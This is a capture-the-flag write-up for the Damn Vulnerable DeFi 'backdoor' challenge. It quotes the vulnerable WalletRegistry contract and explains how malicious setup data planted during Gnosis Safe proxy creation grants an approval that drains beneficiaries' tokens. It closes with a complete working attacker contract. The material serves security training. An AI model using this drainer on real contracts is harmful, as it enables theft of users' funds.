Challenge:
Our eleventh challenge is called ‘backdoor’ and it comes with the following prompt:
To incentivize the creation of more secure wallets in their team, someone has deployed a registry of Gnosis Safe wallets. When someone in the team deploys and registers a wallet, they will earn 10 DVT tokens.
To make sure everything is safe and sound, the registry tightly integrates with the legitimate Gnosis Safe Proxy Factory, and has some additional safety checks.
Currently there are four people registered as beneficiaries: Alice, Bob, Charlie and David. The registry has 40 DVT tokens in balance to be distributed among them.
Your goal is to take all funds from the registry. In a single transaction.
We have to find a way to take the funds that are supposed to go to Alice, Bob, Charlie and David.
The contract for this challenge is located in contracts/backdoor/. The contract source code can be found below:
WalletRegistry.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";
/**
* @title WalletRegistry
* @notice A registry for Gnosis Safe wallets.
When known beneficiaries deploy and register their wallets, the registry sends some Damn Valuable Tokens to the wallet.
* @dev The registry has embedded verifications to ensure only legitimate Gnosis Safe wallets are stored.
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract WalletRegistry is IProxyCreationCallback, Ownable {
uint256 private constant MAX_OWNERS = 1;
uint256 private constant MAX_THRESHOLD = 1;
uint256 private constant TOKEN_PAYMENT = 10 ether; // 10 * 10 ** 18
address public immutable masterCopy;
address public immutable walletFactory;
IERC20 public immutable token;
mapping (address => bool) public beneficiaries;
// owner => wallet
mapping (address => address) public wallets;
constructor(
address masterCopyAddress,
address walletFactoryAddress,
address tokenAddress,
address[] memory initialBeneficiaries
) {
require(masterCopyAddress != address(0));
require(walletFactoryAddress != address(0));
masterCopy = masterCopyAddress;
walletFactory = walletFactoryAddress;
token = IERC20(tokenAddress);
for (uint256 i = 0; i < initialBeneficiaries.length; i++) {
addBeneficiary(initialBeneficiaries[i]);
}
}
function addBeneficiary(address beneficiary) public onlyOwner {
beneficiaries[beneficiary] = true;
}
function _removeBeneficiary(address beneficiary) private {
beneficiaries[beneficiary] = false;
}
/**
@notice Function executed when user creates a Gnosis Safe wallet via GnosisSafeProxyFactory::createProxyWithCallback
setting the registry's address as the callback.
*/
function proxyCreated(
GnosisSafeProxy proxy,
address singleton,
bytes calldata initializer,
uint256
) external override {
// Make sure we have enough DVT to pay
require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");
address payable walletAddress = payable(proxy);
// Ensure correct factory and master copy
require(msg.sender == walletFactory, "Caller must be factory");
require(singleton == masterCopy, "Fake mastercopy used");
// Ensure initial calldata was a call to `GnosisSafe::setup`
require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");
// Ensure wallet initialization is the expected
require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");
// Ensure the owner is a registered beneficiary
address walletOwner = GnosisSafe(walletAddress).getOwners()[0];
require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");
// Remove owner as beneficiary
_removeBeneficiary(walletOwner);
// Register the wallet under the owner's address
wallets[walletOwner] = walletAddress;
// Pay tokens to the newly created wallet
token.transfer(walletAddress, TOKEN_PAYMENT);
}
}
The hints and solutions for this level can be found below:
Hint 1:
https://blog.openzeppelin.com/backdooring-gnosis-safe-multisig-wallets/
Hint 2:
Other useful resources: https://github.com/safe-global/safe-contracts/blob/186a21a74b327f17fc41217a927dea7064f74604/contracts/proxies/GnosisSafeProxyFactory.sol#L82-L91 https://github.com/safe-global/safe-contracts/blob/892448e93f6203b530630f20de45d8a55fde7463/contracts/GnosisSafe.sol#L76-L100 https://github.com/safe-global/safe-contracts/blob/c36bcab46578a442862d043e12a83fec41143dec/contracts/base/ModuleManager.sol#L20-L26 https://github.com/safe-global/safe-contracts/blob/v1.3.0/test/core/GnosisSafe.ModuleManager.spec.ts
Solution:
This one was, in my opinion, significantly more difficult than the previous levels. It required uncovering a known exploitable issue with legitimate GnosisSafe deployments. Additionally, debugging was not a pleasant experience due to the lack of error messages for reverts that occurred when a new GnosisSafe proxy was created. It took far longer to chef up the attacking contract than it did to figure out what the actual problem was.
After reading the contract, I didn’t see an obvious vulnerability. I began to do some background research on Gnosis multisig wallets, and at one point I came across this OpenZeppelin blog post: https://blog.openzeppelin.com/backdooring-gnosis-safe-multisig-wallets/. I highly recommend reading this post if you haven’t already. It contains all of the info needed to figure out how to pass this level. Essentially, the issue arises because of two unique design choices:
- Gnosis safe multisigs allow for the creation of ‘modules’ which are actions that can be executed without the consent of the individual signers (effectively bypassing the multisig requirements).
- During Gnosis safe multisig proxy creation, the deployer is able to pass in arbitrary data to a delegatecall within the multisig contract.
By combining these two, we can see that it is possible for a deployer to set up a module in the newly deployed Gnosis safe multisig that can then be executed without the owner’s permission. Tying this back to the challenge, it becomes clear that the registry pays out the proxy for newly created Gnosis safe multisigs as long as the owner of the multisig is part of the registry. If the deployer is using the legitimate singleton address and factory for deployment, they can be anybody. Since we can be the deployer and the deployer has the ability to exploit the two issues stated above, we can ‘backdoor’ these wallets by setting up a module during deployment.
The full attack path looks like this:
- Create a data payload that will call the setup function on the newly created Gnosis safe multisig. We will pass into this both our malicious contract’s address and the encoded data for any function of our choice (remember, this function on our contract will be delegate called by the newly created multisig).
- Call
createProxyWithCallback
with the singleton address, our data payload, a random nonce, and the registry so that it can process the callback. - During creation of the new multisig, the proxy will call the
setup()
function for the new multisig which will in turn make a delegatecall to our contract and call our module (which simply executes an approval to spend DVTs using the multisig as the msg.sender). - The deployment will complete and pass all of the necessary checks (its owner will truly be either Alice, Bob, Charlie or David). Payment from the registry will be sent to the multisig.
- In the same transaction, we will abuse our approval form the module to call
transferFrom()
and take the DVTs that were sent to the multisigs
Ethers Solution:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const WalletRegistryAttackFactory = await ethers.getContractFactory('WalletRegistryDrainer', deployer);
this.wr_attacker = await WalletRegistryAttackFactory.deploy(this.walletFactory.address, this.walletRegistry.address, this.token.address);
await this.wr_attacker.attack(users, this.masterCopy.address, this.token.address, attacker.address);
});
Contract Solution:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title WalletRegistryDrainer.sol
* @author securerodd
*/
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IWalletFactory {
function createProxy(address, bytes memory) external;
function createProxyWithCallback(address, bytes memory, uint256, IProxyCreationCallback callback) external returns (GnosisSafeProxy);
}
contract WalletRegistryDrainer {
IWalletFactory walletFactory;
address walletRegistry;
IERC20 token;
constructor(address _wallet_factory, address _wallet_registry, address _token) {
walletFactory = IWalletFactory(_wallet_factory);
walletRegistry = _wallet_registry;
token = IERC20(_token);
}
function attack(address[] calldata _owners, address _singleton, address _tokenAddress, address _attacker) external {
bytes memory data = abi.encodeWithSignature("setUpModule(address,address)", _tokenAddress, address(this));
uint256 owners_length = _owners.length;
for (uint256 i; i < owners_length;) {
address users = _owners[i];
address[] memory user = new address[](1);
user[0] = users;
bytes memory proxyInitData = abi.encodeWithSignature(
"setup(address[],uint256,address,bytes,address,address,uint256,address)",
user,
1,
address(this),
data,
address(0),
address(0),
0,
address(0)
);
GnosisSafeProxy GSP = walletFactory.createProxyWithCallback(_singleton, proxyInitData, i, IProxyCreationCallback(walletRegistry));
token.transferFrom(address(GSP), _attacker, 10 ether);
unchecked { ++i; }
}
}
function setUpModule(address _token, address _contract) external {
IERC20(_token).approve(_contract, 10 ether);
}
}